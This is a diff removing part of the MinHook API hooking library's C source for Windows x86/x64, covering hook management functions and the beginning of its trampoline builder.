|
||||||
LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
|
|
||||||
|
|
||||||
if (pHook->patchAbove)
|
|
||||||
{
|
|
||||||
pPatchTarget -= sizeof(JMP_REL);
|
|
||||||
patchSize += sizeof(JMP_REL_SHORT);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
|
|
||||||
return MH_ERROR_MEMORY_PROTECT;
|
|
||||||
|
|
||||||
if (enable)
|
|
||||||
{
|
|
||||||
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
|
|
||||||
pJmp->opcode = 0xE9;
|
|
||||||
pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
|
|
||||||
|
|
||||||
if (pHook->patchAbove)
|
|
||||||
{
|
|
||||||
PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
|
|
||||||
pShortJmp->opcode = 0xEB;
|
|
||||||
pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
if (pHook->patchAbove)
|
|
||||||
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
|
|
||||||
else
|
|
||||||
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
|
|
||||||
}
|
|
||||||
|
|
||||||
VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
|
|
||||||
|
|
||||||
// Just-in-case measure.
|
|
||||||
FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
|
|
||||||
|
|
||||||
pHook->isEnabled = enable;
|
|
||||||
pHook->queueEnable = enable;
|
|
||||||
|
|
||||||
return MH_OK;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static MH_STATUS EnableAllHooksLL(BOOL enable)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
UINT i, first = INVALID_HOOK_POS;
|
|
||||||
|
|
||||||
for (i = 0; i < g_hooks.size; ++i)
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems[i].isEnabled != enable)
|
|
||||||
{
|
|
||||||
first = i;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (first != INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
FROZEN_THREADS threads;
|
|
||||||
status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
for (i = first; i < g_hooks.size; ++i)
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems[i].isEnabled != enable)
|
|
||||||
{
|
|
||||||
status = EnableHookLL(i, enable);
|
|
||||||
if (status != MH_OK)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Unfreeze(&threads);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static VOID EnterSpinLock(VOID)
|
|
||||||
{
|
|
||||||
SIZE_T spinCount = 0;
|
|
||||||
|
|
||||||
// Wait until the flag is FALSE.
|
|
||||||
while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
|
|
||||||
{
|
|
||||||
// No need to generate a memory barrier here, since InterlockedCompareExchange()
|
|
||||||
// generates a full memory barrier itself.
|
|
||||||
|
|
||||||
// Prevent the loop from being too busy.
|
|
||||||
if (spinCount < 32)
|
|
||||||
Sleep(0);
|
|
||||||
else
|
|
||||||
Sleep(1);
|
|
||||||
|
|
||||||
spinCount++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static VOID LeaveSpinLock(VOID)
|
|
||||||
{
|
|
||||||
// No need to generate a memory barrier here, since InterlockedExchange()
|
|
||||||
// generates a full memory barrier itself.
|
|
||||||
|
|
||||||
InterlockedExchange(&g_isLocked, FALSE);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_Initialize(VOID)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap == NULL)
|
|
||||||
{
|
|
||||||
g_hHeap = HeapCreate(0, 0, 0);
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
// Initialize the internal function buffer.
|
|
||||||
InitializeBuffer();
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_MEMORY_ALLOC;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_ALREADY_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_Uninitialize(VOID)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
status = EnableAllHooksLL(FALSE);
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
// Free the internal function buffer.
|
|
||||||
|
|
||||||
// HeapFree is actually not required, but some tools detect a false
|
|
||||||
// memory leak without HeapFree.
|
|
||||||
|
|
||||||
UninitializeBuffer();
|
|
||||||
|
|
||||||
HeapFree(g_hHeap, 0, g_hooks.pItems);
|
|
||||||
HeapDestroy(g_hHeap);
|
|
||||||
|
|
||||||
g_hHeap = NULL;
|
|
||||||
|
|
||||||
g_hooks.pItems = NULL;
|
|
||||||
g_hooks.capacity = 0;
|
|
||||||
g_hooks.size = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
|
|
||||||
{
|
|
||||||
UINT pos = FindHookEntry(pTarget);
|
|
||||||
if (pos == INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
LPVOID pBuffer = AllocateBuffer(pTarget);
|
|
||||||
if (pBuffer != NULL)
|
|
||||||
{
|
|
||||||
TRAMPOLINE ct;
|
|
||||||
|
|
||||||
ct.pTarget = pTarget;
|
|
||||||
ct.pDetour = pDetour;
|
|
||||||
ct.pTrampoline = pBuffer;
|
|
||||||
if (CreateTrampolineFunction(&ct))
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY pHook = AddHookEntry();
|
|
||||||
if (pHook != NULL)
|
|
||||||
{
|
|
||||||
pHook->pTarget = ct.pTarget;
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
pHook->pDetour = ct.pRelay;
|
|
||||||
#else
|
|
||||||
pHook->pDetour = ct.pDetour;
|
|
||||||
#endif
|
|
||||||
pHook->pTrampoline = ct.pTrampoline;
|
|
||||||
pHook->patchAbove = ct.patchAbove;
|
|
||||||
pHook->isEnabled = FALSE;
|
|
||||||
pHook->queueEnable = FALSE;
|
|
||||||
pHook->nIP = ct.nIP;
|
|
||||||
memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
|
|
||||||
memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
|
|
||||||
|
|
||||||
// Back up the target function.
|
|
||||||
|
|
||||||
if (ct.patchAbove)
|
|
||||||
{
|
|
||||||
memcpy(
|
|
||||||
pHook->backup,
|
|
||||||
(LPBYTE)pTarget - sizeof(JMP_REL),
|
|
||||||
sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ppOriginal != NULL)
|
|
||||||
*ppOriginal = pHook->pTrampoline;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_MEMORY_ALLOC;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_UNSUPPORTED_FUNCTION;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (status != MH_OK)
|
|
||||||
{
|
|
||||||
FreeBuffer(pBuffer);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_MEMORY_ALLOC;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_ALREADY_CREATED;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_EXECUTABLE;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
UINT pos = FindHookEntry(pTarget);
|
|
||||||
if (pos != INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems[pos].isEnabled)
|
|
||||||
{
|
|
||||||
FROZEN_THREADS threads;
|
|
||||||
status = Freeze(&threads, pos, ACTION_DISABLE);
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
status = EnableHookLL(pos, FALSE);
|
|
||||||
|
|
||||||
Unfreeze(&threads);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
FreeBuffer(g_hooks.pItems[pos].pTrampoline);
|
|
||||||
DeleteHookEntry(pos);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_CREATED;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
if (pTarget == MH_ALL_HOOKS)
|
|
||||||
{
|
|
||||||
status = EnableAllHooksLL(enable);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
UINT pos = FindHookEntry(pTarget);
|
|
||||||
if (pos != INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems[pos].isEnabled != enable)
|
|
||||||
{
|
|
||||||
FROZEN_THREADS threads;
|
|
||||||
status = Freeze(&threads, pos, ACTION_ENABLE);
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
status = EnableHookLL(pos, enable);
|
|
||||||
|
|
||||||
Unfreeze(&threads);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_CREATED;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
return EnableHook(pTarget, TRUE);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
return EnableHook(pTarget, FALSE);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
if (pTarget == MH_ALL_HOOKS)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
for (i = 0; i < g_hooks.size; ++i)
|
|
||||||
g_hooks.pItems[i].queueEnable = queueEnable;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
UINT pos = FindHookEntry(pTarget);
|
|
||||||
if (pos != INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
g_hooks.pItems[pos].queueEnable = queueEnable;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_CREATED;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
return QueueHook(pTarget, TRUE);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
return QueueHook(pTarget, FALSE);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_ApplyQueued(VOID)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
UINT i, first = INVALID_HOOK_POS;
|
|
||||||
|
|
||||||
EnterSpinLock();
|
|
||||||
|
|
||||||
if (g_hHeap != NULL)
|
|
||||||
{
|
|
||||||
for (i = 0; i < g_hooks.size; ++i)
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
|
|
||||||
{
|
|
||||||
first = i;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (first != INVALID_HOOK_POS)
|
|
||||||
{
|
|
||||||
FROZEN_THREADS threads;
|
|
||||||
status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
|
|
||||||
if (status == MH_OK)
|
|
||||||
{
|
|
||||||
for (i = first; i < g_hooks.size; ++i)
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY pHook = &g_hooks.pItems[i];
|
|
||||||
if (pHook->isEnabled != pHook->queueEnable)
|
|
||||||
{
|
|
||||||
status = EnableHookLL(i, pHook->queueEnable);
|
|
||||||
if (status != MH_OK)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Unfreeze(&threads);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
status = MH_ERROR_NOT_INITIALIZED;
|
|
||||||
}
|
|
||||||
|
|
||||||
LeaveSpinLock();
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
|
|
||||||
LPVOID *ppOriginal, LPVOID *ppTarget)
|
|
||||||
{
|
|
||||||
HMODULE hModule;
|
|
||||||
LPVOID pTarget;
|
|
||||||
|
|
||||||
hModule = GetModuleHandleW(pszModule);
|
|
||||||
if (hModule == NULL)
|
|
||||||
return MH_ERROR_MODULE_NOT_FOUND;
|
|
||||||
|
|
||||||
pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
|
|
||||||
if (pTarget == NULL)
|
|
||||||
return MH_ERROR_FUNCTION_NOT_FOUND;
|
|
||||||
|
|
||||||
if (ppTarget != NULL)
|
|
||||||
*ppTarget = pTarget;
|
|
||||||
|
|
||||||
return MH_CreateHook(pTarget, pDetour, ppOriginal);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApi(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
|
|
||||||
{
|
|
||||||
return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
const char *WINAPI MH_StatusToString(MH_STATUS status)
|
|
||||||
{
|
|
||||||
#define MH_ST2STR(x) \
|
|
||||||
case x: \
|
|
||||||
return #x;
|
|
||||||
|
|
||||||
switch (status) {
|
|
||||||
MH_ST2STR(MH_UNKNOWN)
|
|
||||||
MH_ST2STR(MH_OK)
|
|
||||||
MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
|
|
||||||
MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
|
|
||||||
MH_ST2STR(MH_ERROR_ALREADY_CREATED)
|
|
||||||
MH_ST2STR(MH_ERROR_NOT_CREATED)
|
|
||||||
MH_ST2STR(MH_ERROR_ENABLED)
|
|
||||||
MH_ST2STR(MH_ERROR_DISABLED)
|
|
||||||
MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
|
|
||||||
MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
|
|
||||||
MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
|
|
||||||
MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
|
|
||||||
MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
|
|
||||||
MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
|
|
||||||
}
|
|
||||||
|
|
||||||
#undef MH_ST2STR
|
|
||||||
|
|
||||||
return "(unknown)";
|
|
||||||
}
|
|
||||||
@@ -1,320 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
|
|
||||||
#define ALLOW_INTRINSICS
|
|
||||||
#include <intrin.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifndef ARRAYSIZE
|
|
||||||
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
#include "./hde/hde64.h"
|
|
||||||
typedef hde64s HDE;
|
|
||||||
#define HDE_DISASM(code, hs) hde64_disasm(code, hs)
|
|
||||||
#else
|
|
||||||
#include "./hde/hde32.h"
|
|
||||||
typedef hde32s HDE;
|
|
||||||
#define HDE_DISASM(code, hs) hde32_disasm(code, hs)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include "trampoline.h"
|
|
||||||
#include "buffer.h"
|
|
||||||
|
|
||||||
// Maximum size of a trampoline function.
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
#define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
|
|
||||||
#else
|
|
||||||
#define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
|
|
||||||
#endif
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static BOOL IsCodePadding(LPBYTE pInst, UINT size)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
|
|
||||||
if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
for (i = 1; i < size; ++i)
|
|
||||||
{
|
|
||||||
if (pInst[i] != pInst[0])
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
|
|
||||||
{
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
CALL_ABS call = {
|
|
||||||
0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
|
|
||||||
0xEB, 0x08, // EB 08: JMP +10
|
|
||||||
0x0000000000000000ULL // Absolute destination address
|
|
||||||
};
|
|
||||||
JMP_ABS jmp = {
|
|
||||||
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
|
|
||||||
0x0000000000000000ULL // Absolute destination address
|
|
||||||
};
|
|
||||||
JCC_ABS jcc = {
|
|
||||||
0x70, 0x0E, // 7* 0E: J** +16
|
|
||||||
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
|
|
||||||
0x0000000000000000ULL // Absolute destination address
|
|
||||||
};
|
|
||||||
#else
|
|
||||||
CALL_REL call = {
|
|
||||||
0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
|
|
||||||
0x00000000 // Relative destination address
|
|
||||||
};
|
|
||||||
JMP_REL jmp = {
|
|
||||||
0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
|
|
||||||
0x00000000 // Relative destination address
|
|
||||||
};
|
|
||||||
JCC_REL jcc = {
|
|
||||||
0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
|
|
||||||
0x00000000 // Relative destination address
|
|
||||||
};
|
|
||||||
#endif
|
|
||||||
|
|
||||||
UINT8 oldPos = 0;
|
|
||||||
UINT8 newPos = 0;
|
|
||||||
ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
|
|
||||||
BOOL finished = FALSE; // Is the function completed?
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
UINT8 instBuf[16];
|
|
||||||
#endif
|
|
||||||
|
|
||||||
ct->patchAbove = FALSE;
|
|
||||||
ct->nIP = 0;
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
HDE hs;
|
|
||||||
UINT copySize;
|
|
||||||
LPVOID pCopySrc;
|
|
||||||
ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
|
|
||||||
ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
|
|
||||||
|
|
||||||
copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
|
|
||||||
if (hs.flags & F_ERROR)
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
pCopySrc = (LPVOID)pOldInst;
|
|
||||||
if (oldPos >= sizeof(JMP_REL))
|
|
||||||
{
|
|
||||||
// The trampoline function is long enough.
|
|
||||||
// Complete the function with the jump to the target function.
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
jmp.address = pOldInst;
|
|
||||||
#else
|
|
||||||
jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
|
|
||||||
#endif
|
|
||||||
pCopySrc = &jmp;
|
|
||||||
copySize = sizeof(jmp);
|
|
||||||
|
|
||||||
finished = TRUE;
|
|
||||||
}
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
else if ((hs.modrm & 0xC7) == 0x05)
|
|
||||||
{
|
|
||||||
// Instructions using RIP relative addressing. (ModR/M = 00???101B)
|
|
||||||
|
|
||||||
// Modify the RIP relative address.
|
|
||||||
PUINT32 pRelAddr;
|
|
||||||
|
|
||||||
// Avoid using memcpy to reduce the footprint.
|
|
||||||
#ifndef ALLOW_INTRINSICS
|
|
||||||
memcpy(instBuf, (LPBYTE)pOldInst, copySize);
|
|
||||||
#else
|
|
||||||
__movsb(instBuf, (LPBYTE)pOldInst, copySize);
|
|
||||||
#endif
|
|
||||||
pCopySrc = instBuf;
|
|
||||||
|
|
||||||
// Relative address is stored at (instruction length - immediate value length - 4).
|
|
||||||
pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
|
|
||||||
*pRelAddr
|
|
||||||
= (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
|
|
||||||
|
|
||||||
// Complete the function if JMP (FF /4).
|
|
||||||
if (hs.opcode == 0xFF && hs.modrm_reg == 4)
|
|
||||||
finished = TRUE;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
else if (hs.opcode == 0xE8)
|
|
||||||
{
|
|
||||||
// Direct relative CALL
|
|
||||||
ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
call.address = dest;
|
|
||||||
#else
|
|
||||||
call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
|
|
||||||
#endif
|
|
||||||
pCopySrc = &call;
|
|
||||||
copySize = sizeof(call);
|
|
||||||
}
|
|
||||||
else if ((hs.opcode & 0xFD) == 0xE9)
|
|
||||||
{
|
|
||||||
// Direct relative JMP (EB or E9)
|
|
||||||
ULONG_PTR dest = pOldInst + hs.len;
|
|
||||||
|
|
||||||
if (hs.opcode == 0xEB) // isShort jmp
|
|
||||||
dest += (INT8)hs.imm.imm8;
|
|
||||||
else
|
|
||||||
dest += (INT32)hs.imm.imm32;
|
|
||||||
|
|
||||||
// Simply copy an internal jump.
|
|
||||||
if ((ULONG_PTR)ct->pTarget <= dest
|
|
||||||
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
|
|
||||||
{
|
|
||||||
if (jmpDest < dest)
|
|
||||||
jmpDest = dest;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
jmp.address = dest;
|
|
||||||
#else
|
|
||||||
jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
|
|
||||||
#endif
|
|
||||||
pCopySrc = &jmp;
|
|
||||||
copySize = sizeof(jmp);
|
|
||||||
|
|
||||||
// Exit the function if it is not in the branch.
|
|
||||||
finished = (pOldInst >= jmpDest);
|
|
||||||
}
